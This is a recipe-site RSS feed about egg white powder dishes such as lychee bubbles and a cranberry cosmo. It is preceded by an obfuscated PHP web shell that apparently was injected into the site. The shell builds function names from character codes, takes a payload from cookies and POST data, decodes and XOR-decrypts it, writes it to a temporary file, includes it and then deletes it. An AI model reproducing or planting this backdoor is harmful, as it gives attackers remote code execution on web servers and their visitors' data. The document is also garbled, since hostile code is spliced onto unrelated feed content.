$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();}<br />
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	<title>egg white powder &#8211; Molecular Recipes</title>
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	<itunes:summary>Molecular Gastronomy Recipes</itunes:summary>
	<itunes:author>egg white powder &#8211; Molecular Recipes</itunes:author>
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		<title>Goat Cheese, Bronte Pistachios and Strawberries</title>
		<link>http://www.molecularrecipes.com/multiple-techniques/goat-cheese-bronte-pistachios-strawberries/</link>
		<comments>http://www.molecularrecipes.com/multiple-techniques/goat-cheese-bronte-pistachios-strawberries/#respond</comments>
		<pubDate>Wed, 15 Oct 2014 17:10:03 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Multiple Techniques]]></category>
		<category><![CDATA[advanced]]></category>
		<category><![CDATA[dessert]]></category>
		<category><![CDATA[egg white powder]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=10496</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/multiple-techniques/thumbs/thumbs_goat-cheese-pistachios-sqr.jpg" alt="goat-cheese-pistachios-sqr" title="multiple-techniques" class="wp-post-image ngg-image-1358 " />The tang of the goat cheese combines beautifully with the tartness of the strawberries, milk and white chocolate crumble, black pepper tuile, slight saltiness of the pistachios and the sweetness of the ice cream and meringue to make this a dessert that everybody will love.]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/multiple-techniques/goat-cheese-bronte-pistachios-strawberries/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lychee Bubbles Filled with Sage Vapor on Oysters</title>
		<link>http://www.molecularrecipes.com/emulsification/lychee-bubbles-filled-sage-vapor-oysters/</link>
		<comments>http://www.molecularrecipes.com/emulsification/lychee-bubbles-filled-sage-vapor-oysters/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 17:19:57 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Airs]]></category>
		<category><![CDATA[Emulsification]]></category>
		<category><![CDATA[airs]]></category>
		<category><![CDATA[bubbles]]></category>
		<category><![CDATA[egg white powder]]></category>
		<category><![CDATA[emulsification]]></category>
		<category><![CDATA[flavor pairing]]></category>
		<category><![CDATA[food pairing]]></category>
		<category><![CDATA[intermediate]]></category>
		<category><![CDATA[Ultimate Kit]]></category>
		<category><![CDATA[versawhip]]></category>
		<category><![CDATA[xanthan gum]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=3210</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/resized/thumbs/thumbs_lychee-bubbles-sqr.jpg" alt="lychee-bubbles-sqr" title="resized" class="wp-post-image ngg-image-934 " />Fresh oysters are combined with lychee, sage, grapefruit and lemongrass flavors. The lychee and sage flavors are incorporated into the dish by topping the oysters with lychee bubbles filled with sage vapor. The lychee bubbles are made using the fish tank air pump technique.]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/emulsification/lychee-bubbles-filled-sage-vapor-oysters/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Coconut Bubbles, Gruyere and Candied Apricot</title>
		<link>http://www.molecularrecipes.com/emulsification/coconut-bubbles-gruyere-candied-apricot/</link>
		<comments>http://www.molecularrecipes.com/emulsification/coconut-bubbles-gruyere-candied-apricot/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 05:58:30 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Airs]]></category>
		<category><![CDATA[Emulsification]]></category>
		<category><![CDATA[airs]]></category>
		<category><![CDATA[bubbles]]></category>
		<category><![CDATA[egg white powder]]></category>
		<category><![CDATA[intermediate]]></category>
		<category><![CDATA[Ultimate Kit]]></category>
		<category><![CDATA[versawhip]]></category>
		<category><![CDATA[xanthan gum]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=2935</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/airs/thumbs/thumbs_coconut-bubbles.jpg" alt="5- Coconut Bubbles, Gruyere, Candied Apricots" title="airs" class="wp-post-image ngg-image-326 " />A delicious amuse bouche to start a meal. The crispy and salty Gruyere tuille pairs perfectly with the sweet candied apricots and coconut bubbles. The coconut bubbles are larger and lighter than what we call "airs".]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/emulsification/coconut-bubbles-gruyere-candied-apricot/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Cranberry Bubbles Cosmo</title>
		<link>http://www.molecularrecipes.com/molecular-mixology/cranberry-bubbles-cosmo/</link>
		<comments>http://www.molecularrecipes.com/molecular-mixology/cranberry-bubbles-cosmo/#comments</comments>
		<pubDate>Thu, 10 Nov 2011 09:01:30 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Molecular Mixology]]></category>
		<category><![CDATA[airs]]></category>
		<category><![CDATA[bubbles]]></category>
		<category><![CDATA[easy]]></category>
		<category><![CDATA[egg white powder]]></category>
		<category><![CDATA[emulsification]]></category>
		<category><![CDATA[molecular mixology]]></category>
		<category><![CDATA[Ultimate Kit]]></category>
		<category><![CDATA[versawhip]]></category>
		<category><![CDATA[xanthan gum]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=2982</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/molecular-mixology/thumbs/thumbs_cranberry-bubbles-cosmo-300.jpg" alt="5- Cranberry Bubbles Cosmo" title="molecular-mixology" class="wp-post-image ngg-image-336 " />The cranberry bubbles are a great easy way to add a molecular gastronomy touch to the traditional cosmopolitan cocktail. The cranberry bubbles are made using the “bubbles with air pump” technique.]]></description>
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		<slash:comments>4</slash:comments>
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